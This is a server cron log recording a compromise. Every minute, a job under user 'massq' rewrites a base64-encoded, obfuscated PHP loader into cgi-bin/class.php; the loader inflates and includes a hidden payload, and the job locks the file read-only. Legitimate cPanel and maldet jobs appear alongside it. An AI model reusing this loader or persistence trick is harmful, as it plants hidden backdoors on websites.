Nov 14 18:27:01 server CROND[9975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:28:01 server CROND[10853]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:29:01 server CROND[11821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:30:01 server CROND[12835]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 18:30:01 server CROND[12837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:30:01 server CROND[12836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:30:01 server CROND[12838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:31:01 server CROND[13759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:32:01 server CROND[14640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:33:01 server CROND[15513]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:34:01 server CROND[16263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:35:01 server CROND[16897]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:35:01 server CROND[16898]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 18:35:01 server CROND[16902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:35:01 server CROND[16901]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 18:35:01 server CROND[16903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:36:01 server CROND[17844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:37:01 server CROND[18722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:38:01 server CROND[19591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:39:01 server CROND[20457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:39:01 server CROND[20458]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 18:40:01 server CROND[21414]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:40:01 server CROND[21416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 18:40:01 server CROND[21415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
